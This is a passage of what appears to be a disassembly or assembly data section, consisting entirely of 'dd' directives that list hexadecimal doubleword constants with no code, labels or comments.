0A915A19Eh, 73D7642h, 7B38150Bh, 4721688Eh dd 628A7609h, 0F39D18Eh, 9D8BC57Ah, 40A52B22h, 0B8AFCEBEh dd 19024550h, 9C0FC106h, 9263AB7Eh, 7408DE8Eh, 9DA216F3h dd 776BB0ECh, 47407020h, 0CDB0F4F5h, 5990E0ECh, 0F2ABA8ABh dd 8ADF9EFEh, 0EE6A359Dh, 95074D1Ah, 2B599A10h, 5D997D33h dd 3F5F872h, 1D0EF352h, 0C2C05C9h, 8233B0CBh, 0CC9D7721h dd 6DB8DA8Dh, 4DD1F1FEh, 0EDEBCCD7h, 40EEB8B1h, 647E3AB3h dd 1952F7D8h, 0A1D8CAA3h, 0C0A756F6h, 7142953Ch, 0DBC8DB2Eh dd 46131D58h, 0A1CFEBCEh, 0E408D3C7h, 98EF5BEEh, 0B5FF789Bh dd 115F03D6h, 7CD3D20Ch, 0EE5C106Dh, 0DF1BFA83h, 0EFD10547h dd 874385E7h, 4B8BDC47h, 8AFEADC4h, 44DCBE74h, 2743C52Ah dd 0F60BF45h, 0D3E3943Eh, 0C52737h, 69235727h, 206067B8h dd 44E29BACh, 4663F599h, 3C0BD406h, 4998EE80h, 0C7759A78h dd 50D20802h, 7F7DD9C9h, 2C378109h, 0E73EDE22h, 0CEA935A7h dd 0DBB9B0F6h, 0D0C7480Ah, 0CFF0BEE8h, 0C006312Dh, 7B0FB508h dd 8DAAAC16h, 93530C67h, 0E842A0CEh, 0DDA4A3AAh, 751F176Dh dd 5065F1D0h, 94AE204Dh, 0B4025689h, 0B47D8560h, 481D4A6Fh dd 0DC2485F4h, 877BE156h, 0B8B84616h, 6CCE36F4h, 0CCA8FB4Ah dd 2436F73Bh, 399FDC24h, 676D0ECh, 95E3E45Eh, 1EB08CBAh dd 31A6EF4Ah, 0B7CBD76Fh, 910CC045h, 0A01E6B1h, 151EC035h dd 26206E07h, 3CDDDB01h, 7D329200h, 0BF1460A7h, 15450C46h dd 841E5B98h, 0C5A37009h, 3BA49793h, 0F54EFE8Bh, 0CD1EAE3h dd 2FAB8971h, 0F4FCB902h, 9423715Ah, 94DE826Eh, 0C29386E7h dd 35F712B6h, 0C8F37C79h, 9C670CCCh, 52DA5CAFh, 65D8B0D3h dd 0AC8386A0h, 0A48D6E4Eh, 76A222B2h, 0A06FF700h, 2322D3D9h dd 32516567h, 2728045Ah, 24F10A58h, 0CAF40E99h, 0DA98191Ch dd 0B46EC375h, 25776E21h, 0A5F16203h, 0C8A21259h, 3A8F8A6Dh dd 0BA7547D2h, 0E659AF59h, 0C22664A1h, 0C77C627h, 69000ADBh dd 0C6E5BD56h, 40850613h, 0B360F69Fh, 4DF02A3Dh, 0F44BABDAh dd 0C4F35D16h, 0B6D7A0FCh, 0B1BA14C3h, 0ACB0ADDFh, 7EBBC0A6h dd 14DDFAB2h, 0D686F38Ch, 59F49E2Dh, 75E8663Fh, 394A9D1Ch dd 0AEE57537h, 94A25FDFh, 0A943A8Dh, 0FDAA89F5h, 0D701DEF5h dd 3D80069Bh, 11DCEA64h, 7C657172h, 0AC9F7783h, 0A08C2FBDh dd 0B5BA7458h, 6C046EF3h, 0A1075E3Ch, 6A19F891h, 4CA4D075h dd 0A351E257h, 9AA163E0h, 0D9898147h, 0F5E414D8h, 0CC025C4Fh dd 0BE892F0Bh, 0B12C2F78h, 137BBC2Bh, 8D74EE87h, 6868ADBFh dd 36927214h, 1EFE23F3h, 0EAFB9266h, 72BF8316h, 0AB8A37Ah dd 0C6C03B08h, 25BA6D9Ah, 4AF3B116h, 267B5ACEh, 0B233D7Ah dd 72F5DAB6h, 0DDA4268Ah, 0F36A2F82h, 44354F43h, 5A488298h dd 2F6C22DBh, 6083C046h, 1E24AEFh, 0AFA00956h, 2B9F2B30h dd 0F85D33B6h, 84FBFEF0h, 47A1034Ah, 22760C89h, 0CEC1F624h dd 1BFED10h, 0A71E58EAh, 79B9679Eh, 0D81EA427h, 200B6CAFh dd 0AA10BEB1h, 8C0F6880h, 0D3E971AFh, 6F3D88B0h, 8BD94A3Ah dd 7C984D24h, 0DD724857h, 15AEDBBh, 648BE00Eh, 5488D084h dd 67ADEB5Ah, 9AD42D88h, 0C4701CC5h, 0D4F691ABh, 0CC8B6876h dd 252D5FCFh, 0B540AFF7h, 0CBAB90A6h, 339AD0B9h, 2F317C13h dd 179A3092h, 738B523Bh, 0A16421FCh, 7126ECB9h, 6089E05Ch dd 0D4462EF0h, 0BC6DC19Eh, 1498F9A7h, 30463FBCh, 13828F56h dd 28B0C0Bh, 0AD2ED26Eh, 1BE7B73Dh, 0F7DE26D4h, 41E122C0h dd 98FD7844h, 0EBC96D67h, 0F91FA975h, 0D156DD3Eh, 31CE1D2Fh dd 507F8A4Ah, 0D75A8959h, 0FA495475h, 0E7FA2372h, 1E647142h dd 20AFAC1Dh, 0E290E4CFh, 0BD5A476Fh, 461B55A4h, 9144A75Fh dd 29053238h, 0D167C71Ch, 0D522D2C3h, 5DF4735Dh, 70EB30E1h dd 3532E150h, 38F4A1C1h, 0A30F28C4h, 4EDDFD02h, 0B47D591Ch dd 0EE6E17D3h, 2524746Dh, 6AFAD7AAh, 11374306h, 941754ACh dd 280B441Ch, 53D948CEh, 0B79F99E6h, 2BBDC08Fh, 3A37A7ABh dd 194733EFh, 0FF61FDE9h, 0BE74DD02h, 0B8D72878h, 3AF14985h dd 4E1384E2h, 4B92B5F3h, 0BE90E48Ah, 1848935Dh, 7354B7Bh dd 566377EFh, 5064B4Dh, 0C1885CB1h, 0FFDC3641h, 0E5A6EE30h dd 5987DEEEh, 60647B45h, 2B5F8E15h, 10D90E2Ah, 698C6107h dd 8A52AEE9h, 687FF612h, 4771A72h, 9C7B7825h, 0F6C87BD5h dd 0BDF35655h, 4FD35A9Fh, 13CFD0AEh, 0C6C619B4h, 74EF5AEFh dd 0B980D50Fh, 0A1DFFEACh, 3214B9E7h, 0A11344E1h, 9DFBB839h dd 0CEAEE1F2h, 91E12670h, 0D19FD964h, 19A2BF83h, 43751CEDh dd 0C5F346EEh, 0C2F8E340h, 0F48343ECh, 0BD433C8Eh, 0CFC960B2h dd 7B7F9CF6h, 47A9EBF3h, 903D26E7h, 43048069h, 892B9FE9h dd 0D3A51B23h, 398CAF0Bh, 3F9727EBh, 0C3D602C7h, 0A223D94Fh dd 7BF69D22h, 22E891FCh, 17D85053h, 6E6510F9h, 0CA7EEF88h dd 3E419A10h, 0F373175Fh, 0C5CC1293h, 0D582A39Eh, 7DA8B705h dd 0A2283A73h, 0CDE31676h, 0B60DA441h, 4FF7D9E7h, 2DD75D11h dd 0FF938A93h, 0E2CA3683h, 73650BFh, 9B735EBDh, 0CDDEE504h dd 0FCA17B9Ch, 74372491h, 7F8B47EBh, 0D0FDF8E5h, 0D4F2099h dd 322874B5h, 4D261D3Ch, 7051D0B0h, 77D5FADFh, 76CF0D7Ch dd 0C448F65Bh, 0A23FA428h, 0FC51E0DEh, 8E190072h, 3404488Fh dd 3268C751h, 0E836306Bh, 798C36CCh, 35429242h, 0F771142h dd 2656245Bh, 62066C7Ch, 7442DC44h, 1F366759h, 672EDC4Fh dd 99E6B54Ah, 0F048B814h, 7F3D97E9h, 0B05D83F5h, 0A4D7F4h dd 3CD5834Fh, 0D039EEF6h, 688F2EBAh, 4A1F3A3Ah, 0D1622555h dd 0F07D4997h, 3BB333F6h, 494E0522h, 0C05F49C2h, 4FCD8539h dd 0B019C4EFh, 0DD41E478h, 0DE9893D0h, 0E35C912Ch, 903E6666h dd 0D84C3E94h, 0BF014289h, 0BD37F578h, 7C63D4BCh, 0AD552BA6h dd 322603BBh, 238BCB26h, 39264FE3h, 1622B28h, 7718D667h dd 0EA78AFC2h, 0A7F71052h, 0E7DDE631h, 3B6FAD7Bh, 0EB35E910h dd 0B737CC5Bh, 0EDF4AA61h, 0A0C3FE96h, 83E72015h, 0FC4705DAh dd 5E2141EFh, 0E8000940h, 0E2A10C70h, 1CC7D791h, 0CF98001Fh dd 0CCBD9E0Fh, 0B415A48Bh, 26A23EAFh, 0F019CA2Dh, 46AD4406h dd 0F2CFDDE7h, 4B488A02h, 742F7570h, 79EF732Bh, 894562ACh dd 33642E54h, 321BDBBBh, 9426C7A5h, 4D6555F2h, 0CC0D313Fh dd 4790958Fh, 0DDB87749h, 7730DEh, 9B2F1CC3h, 0A917CEF0h dd 0E87B674h, 359BAE9Bh, 4A679026h, 531DC89Dh, 0C2E57B49h dd 24C045CFh, 0CDD20212h, 4EC370BBh, 96E8A427h, 7A128757h dd 0FEDBAF03h, 4E85FDC7h, 9BF6A21h, 62A50767h, 0F14EDC4Eh dd 53E1AFE7h, 765DEE2Ch, 0D579F10Fh, 0F092C9E8h, 72E37C78h dd 0FF7B7782h, 15B3A608h, 0A223A4E1h, 2A73C774h, 0C90883Fh dd 0BE11885Ah, 0BDB4FCB0h, 39D1FA48h, 548092FBh, 18019F7Ch dd 0CA893ED8h, 4BB59DE6h, 0F87BDD23h, 2C634045h, 71CDBCDFh dd 15A59A64h, 6F7E57CDh, 3ED47E0h, 5F3DAFCDh, 5BCB28C7h dd 0E5971A40h, 0A712262Eh, 4E5EE991h, 0BB2EABADh, 0D3548503h dd 4CDC976Ch, 0A19E6493h, 661F137Dh, 7F7DE35Ah, 99800D08h dd 0AD36C802h, 0BB26F144h dd 4814D3F9h, 24F5EE07h, 335D162Ah, 5B95B674h, 0D9DC1F69h dd 42F8B08h, 197B7BE9h, 0AACDABEBh, 8124FAC4h, 0CD596EFEh dd 1394E9E5h, 0A5E32356h, 0F67CD649h, 21DDD281h, 211B94A7h dd 0EF0281B6h, 0B223FECh, 0D0EC38DAh, 0CEFCB5FFh, 0A781AE2Dh dd 447D65C8h, 0C17AF39h, 334466F1h, 4C6C83D5h, 71DCA050h dd 10C95341h, 111DF74h, 0F46A74B7h, 0B249C0A1h, 0C074A3D5h dd 19C8B424h, 0A24B35BCh, 65F6ED0Ch, 84D15349h, 0C7C11484h dd 79DFAB95h, 5EE0F496h, 2E447EA0h, 0EB3B0834h, 0A4B2CE8Ch dd 0D17718DAh, 22F2363Fh, 0DE246F38h, 0E7F42F5Eh, 0ADD98268h dd 13EBFCEEh, 174DB451h, 1ED4F877h, 0ECFCEBDh, 0DF967737h dd 36760A23h, 14FDA4A2h, 475905FBh, 485C26A1h, 67FC26ECh dd 0A469BF8Fh, 0B7F4230Bh, 5991DEF5h, 0C0FFAB65h, 0F9D8F0BCh dd 0F2511F6Ah, 0A450551Dh, 924462DFh, 66727117h, 655E76E6h dd 835D7F8Dh, 0F3F3CD70h, 0C71B5B69h, 0E0618325h, 4300600Dh dd 1BA0769h, 5A9CF07Eh, 0D92FCE5Ah, 6D5ADF35h, 0F82DE088h dd 1A6EE8F8h, 47AB747Ch, 0D649D1FCh, 551097E3h, 9215365Ah dd 7B7A21E3h, 0B8889A02h, 888841BFh, 5B7530EFh, 0E0467B04h dd 0C99C0C15h, 0F9635DEDh, 21B3EE57h, 0DC5D0013h, 0E3CF70C1h dd 0CC489F08h, 2F90F9BEh, 52DEBB59h, 3E8B4BE8h, 0EBF8C808h dd 0C65B19FCh, 0A49C007Dh, 43146816h, 0F57DF365h, 0F0ED07E4h dd 0C510DC59h, 73B15A36h, 0A513BB11h, 0A9DB3025h, 6FC18C55h dd 0D0679EA1h, 438E4014h, 12E0F0F4h, 4B3D8033h, 74AD717Dh dd 0A7D5D14Ah, 636E4913h, 0DBF9E55Ch, 2C469B29h, 0F99434BFh dd 0AE2C44BCh, 521F5E23h, 1A4894EAh, 0BA2C25D3h, 6DFD4820h dd 0A3EB4D32h, 1B860528h, 823AB35Fh, 0B5495A1h, 0FE7C026Ah dd 2204059h, 2AD0652Ch, 74C3C49Ah, 2DDB153Ah, 5E4E37D8h dd 0CEC6D8C2h, 0FC5B874Fh, 91BC6CDDh, 0E4EE981h, 0B70D9EE4h dd 0EDBE56B0h, 6FF980F2h, 0F0DA9655h, 6BBA1ABFh, 0BCEE4F43h dd 202AB9B2h, 28BC7CD2h, 6E1BEE63h, 9E965938h, 0F66095ABh dd 0AEC239A2h, 0AE0AD64Ah, 0D91B78E4h, 56A2E466h, 6515D706h dd 88BB0417h, 15E5C208h, 53C4C0F2h, 4F8BBE27h, 0ABCA9D30h dd 0C5FA33DDh, 535A7DD3h, 8B8883A4h, 0C2519CE2h, 5042A82Fh dd 0D8F262DFh, 2DE8B0DFh, 541D4509h, 0CB474762h, 5BCC6011h dd 1A42C2BDh, 0E5BD6D63h, 0D0FF8417h, 1EA5796Ah, 738E60A7h dd 40EC977Ah, 0C76970C8h, 6E102BAEh, 0C56DF187h, 0BE6E4BDEh dd 0F2FB2855h, 10025DA2h, 0A8A5C198h, 0A7B2BC67h, 0D143BE0Fh dd 6F4A0561h, 0A9B42E0Dh, 182978DFh, 0E642CE38h, 7964F31Bh dd 0CC57E3FCh, 0E6552524h, 0F1583340h, 591F4094h, 32DBE945h dd 7056D45h, 0C7833DA4h, 9A916037h, 0E2BC0EECh, 0FC4E66E4h dd 0E4FD2901h, 5EB6B2CFh, 7BAF33B9h, 38B5C601h, 56553FB6h dd 7EF3180Ah, 0AEC01C8Eh, 9EBE3E8Ah, 460B0BB7h, 0CD9B3154h dd 0FD21C3F8h, 1642CD02h, 0A8380E2Eh, 929193E6h, 19E6D754h dd 0D73AD2E5h, 0FA2742E1h, 5703C01Ch, 5AC8B3BAh, 0FFF1731Dh dd 0B246D152h, 0FA67CD12h, 0EFFEBEC8h, 8654547Fh, 7EF3B45Fh dd 1617A8F8h, 7A42E5A1h, 0E87A18D0h, 0B98BD6E3h, 92193B45h dd 820016CBh, 0F47F14F5h, 0AF01B47Ah, 0B0B62D3Ah, 62C5641Fh dd 4AAEC433h, 3C72935Dh, 0C14436FAh, 899A2380h, 99AA9E74h dd 0AB089898h, 0D4572880h, 0A2BB2A79h, 0CFB9D837h, 0ECCBBECAh dd 6F32AAE5h, 1C049058h, 492D631Fh, 9ADC216h, 0CFFCBE1Fh dd 0B5AA81A3h, 4A929C26h, 0DD55A815h, 0B3BB983h, 0A5462340h dd 10EEB0DBh, 2E7BEB57h, 1D3CDF13h, 40129F38h, 0E58EF278h dd 0FE149E32h, 0E2D58217h, 414AB2D8h, 0C8D0508Eh, 821ED472h dd 1250A904h, 39A15CF8h, 0BE1271C9h, 0D5FFAA00h, 3E9855ACh dd 7BAAFECAh, 3D5EFD7Ah, 2212CC52h, 0BBB6AB36h, 86D741A1h dd 7B82C16Bh, 4F3FE0BEh, 0C0FDE7F4h, 0EE1B8143h, 73956F86h dd 0D03EA2A0h, 2AF15FA4h, 0F0A55EC5h, 403931F0h, 793E784h dd 7F216D82h, 0DEEB9C4Bh, 2E885D60h, 714DAC66h, 64F1B209h dd 0ABE248Ch, 0EA7089A5h, 4FC744E2h, 46744AB9h, 0CD5EA031h dd 34E33C87h, 47694E0Fh, 8FB64FBEh, 99AC2D1Fh, 8EEB862Ch dd 0A68B60B5h, 0C1C40DC4h, 40E16292h, 72218BE0h, 72ADBB44h dd 0FB2F9E98h, 633CCFD9h, 0D6B47805h, 74D89D77h, 0E642493h dd 3EFE55F1h, 28BEAEE2h, 12C9397Bh, 0EA898FF1h, 0BB69108Dh dd 93EC08BAh, 0D6316D73h, 1E6A76D6h, 58E78AE6h, 0BA343FEFh dd 5D6A50CDh, 0DCE9239h, 604DD3Dh, 4F385FCEh, 99FA5E9h dd 4A26F78Bh, 29667810h, 14F5EEE7h, 2400B3BEh, 8D60B67Bh dd 60C6CC53h, 6811F372h, 0A6A8C970h, 47A3D126h, 0B2099BF9h dd 0C11EFE27h, 9364B502h, 4C99D926h, 8344BECAh, 2F39FE97h dd 0CA2EFE1h, 0C9F1D2E2h, 0A1B87D3Ah, 64CE577Fh, 0F4279506h dd 0BC8AE6D2h, 9C604813h, 40C5C5F9h, 3C77EF5Eh, 0CCD85D0Ah dd 6B0162F3h, 6F02EC5Ch, 0F58BA2F6h, 14D0707Fh, 0A7689024h dd 0DE7CC9C1h, 0CE8CD4ACh, 2E97AEC2h, 4D9FDC55h, 0BCEEA1D2h dd 0A28B225Eh, 0B8C43C92h, 506F8D2Dh, 18AD3BD9h, 2273E20Dh dd 0A1598188h, 51269EC2h, 9D8EC3Ch, 41CA5894h, 0B36BCC9Ah dd 8E8054DEh, 0D3DBB1A5h, 8C58FFF9h, 2247E4B5h, 2ECDD7D9h dd 218FCDEDh, 3D6E533Ch, 0E967852Ah, 55F1D2BAh, 730102C1h dd 0F22B7395h, 274C82F8h, 0BA2B0290h, 0CB838FA1h, 183FEE95h dd 5865C6DEh, 0B39EBED8h, 668C0CB1h, 0B35564E4h, 999E0A3Bh dd 0E5280709h, 0DC7B942Fh, 0E6E47577h, 44F6591Dh, 325F72D1h dd 0B29CCBEEh, 9543C874h, 87385F6h, 5B39FC8Bh, 0FEFDA112h dd 0C3B2C093h, 6B6F0A50h, 0B4BB19B0h, 1B0E1A1Ah, 0FC5A68F2h dd 0C603C1E9h, 9DCDA6FFh, 5352358Bh, 3BA4C62Fh, 71DF4C70h dd 0EC5ECDFFh, 2B1B823Bh, 0E190A339h, 0E671F812h, 0A1BCB4A5h dd 0C9BEEDB1h, 0A87DC881h, 250D54A4h, 1EA3B533h, 60CF04Ah dd 84E13C9Fh, 0D3CE30ECh, 80807882h, 0BE2A2368h, 0BCB04D22h dd 0C38906C1h, 85159534h, 0FD9F5C10h, 5BA6B56Bh, 39DD4FD8h dd 3B0E0500h, 817FA213h, 8ABA0FBFh, 9BF64E24h, 931A981Fh dd 0F371FA2Fh, 15C1890Fh, 0C5DB893Dh, 0A575E026h, 0F8ED01E5h dd 1076483Fh, 0A48F9DCDh, 0DA772455h, 7EC7797h, 0A483218h dd 0B9E74737h, 26F7C4BDh, 34F35DC7h, 6639B439h, 286BB90Dh dd 0F70124C2h, 0CF6F0EDAh, 29678027h, 4F7EEC0Eh, 41415F9Eh dd 8BBA4951h, 0E0E99A10h, 7BA3B9F7h, 92A7D6C8h, 0F06207F4h dd 9CAD01E3h, 7DB39E0Dh, 4904523Ah, 7D90C27Ch, 0C831815Dh dd 3F9211AFh, 0C2362855h, 14A7A26Eh, 2DD14E43h, 222A4292h dd 0D01D8Bh, 268AB954h, 0E6CC9F25h, 7146D4A2h, 0EBED4D8h dd 0DB639669h, 0B2885C95h, 0CDDE9375h, 0FDC0F39Ah, 67715D5Fh dd 875A3786h, 21832898h, 0F89D181Dh, 8B190EACh, 88ED22D0h dd 30AA2A81h, 27A1AF97h, 0B9E3B2E5h, 0EBD02430h, 2C45815h dd 3D36CE50h, 1CC400A8h, 8D25F04Fh, 44A5B85h, 9A42AD84h dd 0B6B970BDh, 154BAAC6h, 92062C36h, 26ED3216h, 0BA4346E9h dd 5E0E472Dh, 515C1734h, 9C4AC51Ch, 0BC16819Eh, 0AC8B9AAAh dd 45CEE7A7h, 152084FFh, 0F96C3074h, 5BCFA042h, 2C438CA8h dd 0D45636D9h, 61822DC9h, 25FB51E1h, 84C50284h, 8F333F79h dd 0A8165898h, 0C0FDC466h dd 88C5B138h, 198B17C7h, 0AB0D5C4Ah, 0CAC9B5CCh, 0E988A303h dd 0E2C072ABh, 3346B60Dh, 2CBECF8Dh, 0C018745Eh, 0A3D5C2BFh dd 33330395h, 0EF0C785Ch, 52D6CC23h, 9DA593D0h, 642EFE3Fh dd 0AE387EAAh, 265FC8C2h, 35B6F5C5h, 0A27212EFh, 5F1EF0F0h dd 28680D82h, 9AC54DA1h, 1F1B055Dh, 0EAA4F508h, 10AFDD08h dd 0A78B6CEFh, 0C395D973h, 0B97E2375h, 0C312F512h, 7E6FE877h dd 0EF1135EAh, 12FE3ED6h, 0C42AF458h, 73CEC5FAh, 6F646602h dd 0BB9A76A0h, 197B6B7Bh, 0E5A02469h, 0C022C96Dh, 37E4834Fh dd 0D1E93DB6h, 0EB1CD9DAh, 0EBC0E645h, 3EC2156Fh, 261F41AEh dd 9AB2CBF9h, 0EB3AB035h, 1AB5F7BAh, 874EC538h, 0F4AEAC12h dd 0BFD00BAEh, 0F4CA8B5Bh, 0E41A7EABh, 0B31E384Eh, 1DC206BBh dd 4C39C942h, 8425E6h, 6E0D9B1Dh, 2917B962h, 3B19CDFDh dd 0C089EA34h, 0A13A0B8Ah, 0D9A68458h, 6287B518h, 0F1B30CBDh dd 0AAA50689h, 30AFA02Fh, 3BE2616Eh, 0CCC5147Eh, 4E9CBBD1h dd 6896DE29h, 337DE347h, 0F29AB636h, 0AB7AD2E9h, 2A31C740h dd 2D1CDC0Ah, 31DDAD30h, 8A66061Fh, 0C9863F0Fh, 5F57B2Ch dd 9C8C6B61h, 3F048903h, 7DD517DEh, 8E0010F5h, 5539BA90h dd 9AA35FC9h, 9E28CC01h, 0F34B7B10h, 5D059EDFh, 4D71B801h dd 97C5765Bh, 31D5A7BEh, 6944E904h, 0AC446978h, 5B69D8F7h dd 0B87E6505h, 0ED3F8C7Ah, 26AD55F7h, 7D4C8225h, 5CEA8F95h dd 0F1B9EF58h, 0EA94D335h, 0A79359BEh, 807E6DF4h, 10E10F35h dd 0D520AE6Bh, 0B2F94BD3h, 70A4FF5Dh, 0A7CA287Dh, 87B209BDh dd 0B20DF037h, 0F7146FD1h, 0CF321248h, 0ADCC6A42h, 8F66EA09h dd 25F7D105h, 941D0DEDh, 0D35CB30Ah, 4CC0B17h, 0E67807C8h dd 0E390B475h, 804F9AF1h, 1B045455h, 4EBF8E89h, 259A3676h dd 0D1325AFCh, 0CD1546AFh, 17744A65h, 8F8E377h, 774AFB22h dd 0E080670Eh, 73FA558Bh, 77D85596h, 0C4A88A2Eh, 0FCC811A8h dd 1CBB0A33h, 19228DE2h, 0F619B4CCh, 583A146Fh, 8DD34542h dd 768353BDh, 0BAA9898Ch, 0D707837Bh, 4CE5F69Fh, 25987F10h dd 608E40E5h, 91176BACh, 7CE85C00h, 0B542BC9Bh, 10280B50h dd 8737D5F3h, 27AB9371h, 0DB988B20h, 88583C7Bh, 0E96F1EAh dd 12D3DAEAh, 4C1AEC0Ch, 9CB99604h, 27F23E0Eh, 8210B49Ch dd 0A3206DA5h, 5325B399h, 0E64F3978h, 0C817CB21h, 0E7256196h dd 89B8BB80h, 528551Bh, 60C193F5h, 9132D1D3h, 8247D9C6h dd 8EA293BAh, 0FFA87B61h, 4B58DBF0h, 0C52A53h, 1A9F18E5h dd 67BE3B30h, 0B85F120Ah, 0C127B762h, 0D8E54AF4h, 1016FDDh dd 864349FAh, 0C69E0F71h, 0B7E2ACE6h, 9B3C3FAEh, 0E8F4052Bh dd 133606E8h, 5B0AFD47h, 27B7173Bh, 0D81ED75Bh, 0EFBAB4F2h dd 0D1CFC00h, 709E3E0Bh, 0DD105361h, 0EDA881A3h, 8DDA6F48h dd 8BA387E0h, 82959AACh, 0A5190543h, 4199E1E4h, 7567EF4Ah dd 667C0C72h, 79FBF99Ch, 0CA6A4486h, 849F0305h, 5021C883h dd 0E43C393Fh, 89B5C87Dh, 3DE6EDCAh, 1E3A579Eh, 0D654991Ch dd 0AA5D3637h, 454AEA78h, 0EA3F81BFh, 0A45CB2A2h, 0F3D20D14h dd 9DE77F18h, 0A683183Ch, 0A901C9B7h, 0ECCF39EDh, 6DF82CC3h dd 2C6ED431h, 1DFED08Bh, 0D7D9DA50h, 9FCCC4D4h, 2A22C947h dd 0EBD06F8Ch, 0D39CA6A0h, 16D5EA0Dh, 848F1223h, 0F06B692Ch dd 0CAFDDA91h, 6C19C6D4h, 9234EFBCh, 0D76A1785h, 0DCEC3996h dd 9FD98051h, 0D9A220FCh, 0C7B0729h, 205BA142h, 21BC317Fh dd 16DE9978h, 54ACE98Bh, 6B9D1567h, 56F0B80h, 885468E8h dd 4674EC81h, 896A0185h, 38EEBE1Eh, 80E0B483h, 1F2F2160h dd 0FC4CB1A9h, 7913FDE0h, 3C27868Ah, 0DEF1AFE1h, 0FBC261DAh dd 7EB5910Eh, 0BCFECAFCh, 4363B901h, 1FC3E5E2h, 0AA79EBA6h dd 4B62AEB0h, 6E179786h, 0E030E872h, 0D2E63773h, 19CF06EEh dd 0A06F135Fh, 5CE0D83h, 9F9C957Ah, 3BDCEA19h, 561F0976h dd 6717A80h, 0A615AEDBh, 0D5736AA8h, 4A90BE1Fh, 78491D74h dd 0DFCCC06Bh, 4C6D0257h, 8E4A098Eh, 3099D2D8h, 9A646CE3h dd 61514E11h, 4F4A2635h, 724476CCh, 7AF0B991h, 2F47835Fh dd 0A7397101h, 0EBD5F9B4h, 0A212BA08h, 0C651861Ah, 469F301Ah dd 3B2C5634h, 99AE54DDh, 4154B726h, 0D041415Fh, 731B2089h dd 49482BA6h, 8AA9E7B5h, 44A408DFh, 1C7B42AEh, 0C27BE04Fh dd 2778C122h, 98EB6C76h, 1DDFA66Ch, 2454E14Eh, 1EF43553h dd 0B640153Ch, 0CB55DA7Bh, 3E358EC1h, 2BD4CBC1h, 85EE1E2Ch dd 8ED0A37Ch, 1FC7C070h, 8886ABB2h, 4EB04F0Ah, 0E759A0DEh dd 134F1EA4h, 4E547EC4h, 9DA1B43Ah, 0C834BE5Bh, 199CA3D2h dd 18525B27h, 0FD4C4ABBh, 69C1A7BFh, 1590D4E1h, 0D20DCA04h dd 349A59F5h, 40E067DEh, 0E7C6DCAAh, 28F43F7Bh, 69D44C8Eh dd 1C21ABE1h, 9651FBB4h, 9EA360Ah, 24B0E587h, 41188270h dd 1948F8D2h, 16FC43F1h, 5E378162h, 424288DAh, 209687F1h dd 0DD33903Bh, 139B414Fh, 34CD82A8h, 80F50613h, 0E4E8FA9Ch dd 0F1344195h, 390418A4h, 17178D43h, 0F7DA320Ah, 0D45D7389h dd 0B1CD4700h, 0E8348029h, 6723DF59h, 23C2249Eh, 648C7194h dd 7C7D76D3h, 5AA9A2D0h, 8A146F98h, 88E09E3Ch, 5B51C0C5h dd 0ED66C515h, 0CD9A0780h, 0BAAF6164h, 59226100h, 0D1C7418Eh dd 0FC55FAEBh, 0C58060ECh, 3779F927h, 0F21CDEC1h, 0A2CEA7A9h dd 1DCD006Fh, 0F6167484h, 97324FA9h, 8AF8452Bh, 9CE0BFFDh dd 9B4Ch, 0A82B2798h, 6ACE7992h, 0E3DC0ED2h, 0A8D7F610h dd 93DFC00Dh, 562DE936h, 4A580B36h, 7EF6A06Bh, 1B804AC0h dd 58ECF511h, 6BCACC9Dh, 0E42C002Ah, 570DD9A3h, 0BAB1C94Dh dd 69B27D0Ch, 8B03F3ACh, 2255F2B4h, 9F1348AEh, 0C29EB50Dh dd 943287F1h, 386E3DACh, 8CA1ADDBh, 0A89D9B8Eh, 2F2F8AE4h dd 10C4432Bh, 0D55A348Eh, 50054620h, 9BA7E8E8h, 0BA2EB70Bh dd 47478B9Ah, 0E7532889h, 84945297h, 6D374C7Bh, 8454BFF7h dd 5B75F916h, 4DB73297h, 3E21EE23h, 232FB610h, 9057DC2Bh dd 0FF9C2714h, 94D401CEh, 82B9FA59h, 2AFED6FAh, 69890150h dd 511AFA32h, 0F6350467h, 6D77C899h, 6FBA7DC0h, 0B914F729h dd 0C5C86884h, 0A46BA367h, 0C37E693h, 0E661FF28h, 3CA28222h dd 4BF28E9Ah, 5397E4B8h, 0BC0222FDh, 6B7BB9C6h, 0D5004326h dd 391CED34h, 906347FAh, 0E2D428E4h, 70870FDh, 0B9E2B850h dd 0D745E441h, 0C0E66E9Eh, 0BE5564FDh, 0EF279AFFh, 2F1BAAE9h dd 0FEBF3FBh, 74A33220h, 40FC1D10h, 0B913D443h, 9A58E7E4h dd 0BDA60080h, 6142395Eh, 0EED5A355h, 0FD1DDC08h, 7AB2C9B4h dd 0AEEEA242h, 9BB59EA8h, 497F1E1Dh, 0BAC3BC6Dh, 23CB99BAh dd 0FF455EA0h, 48C2E234h, 0A73D3334h, 117C505Bh, 0D3B53271h dd 41D650C5h, 62BA5742h, 7BB37763h, 0C2337612h, 14FD54ACh dd 0F0FACC22h, 71FDFA13h, 35906EAFh, 41BD28C7h, 9DFEE8EAh dd 0EEE9095Dh, 0B62713EFh, 106AA519h, 0B01E6241h, 6DF2D7C3h dd 0C3A4CDCCh, 2E9DF49Dh, 0A7A18EADh, 9E78B70Ah, 1A900EABh dd 46B361ACh, 9F04E0BEh, 94D921B0h, 3F4D62E8h, 0C6A43677h dd 261BAA0h, 0B3AEFFDEh, 0C0C3BC8Eh, 5E870FF6h, 9809CB91h dd 9B2019EEh, 0F67E3A20h, 58DF00CCh, 43C85EF6h, 64F54E69h dd 0F1EAFBF1h, 0BD30CBC5h, 0BB934E2Bh, 0D4CEAE31h, 374F6EEDh dd 79F258D0h, 9A6DE0DFh, 0A9C2721Fh, 135C94C7h, 412A8BAAh dd 2C7C2B21h, 0FBA039E2h dd 0AA38CBA4h, 0C07CC43Bh, 0E92E51C3h, 0F84A3D0Eh, 7039212Ah dd 71630932h, 4708E74Eh, 4DB266F3h, 9C0DD813h, 57BCE563h dd 0C60BA6Ch, 5B4AA142h, 1CB8B6D0h, 14CF00B4h, 8E8C0093h dd 60FFB64Ch, 74D05E77h, 0A3C1D49Ch, 0EA8F6A3Ch, 35A2A500h dd 82666DCBh, 8B9A03B6h, 0A0413014h, 5DBA3299h, 0C7C9C8E8h dd 1956051Eh, 0C7AAB209h, 0D3175DAEh, 0FAB188EAh, 0FB431BD9h dd 0A393B60Dh, 13928557h, 19F7622Eh, 0D8C8BF0Ch, 0CF934CEAh dd 5A559592h, 8A41D90Bh, 0A560AD9Ah, 4736EB5Ah, 955CF4B3h dd 1F4F7495h, 87CEF5CCh, 3B2A1342h, 355E7F45h, 0EBE59F04h dd 3C57B0F8h, 399E3F82h, 0A394AC97h, 6CFB487h, 0BC80D0A2h dd 234B9A3h, 0D777FA18h, 0A0B20380h, 75117FAEh, 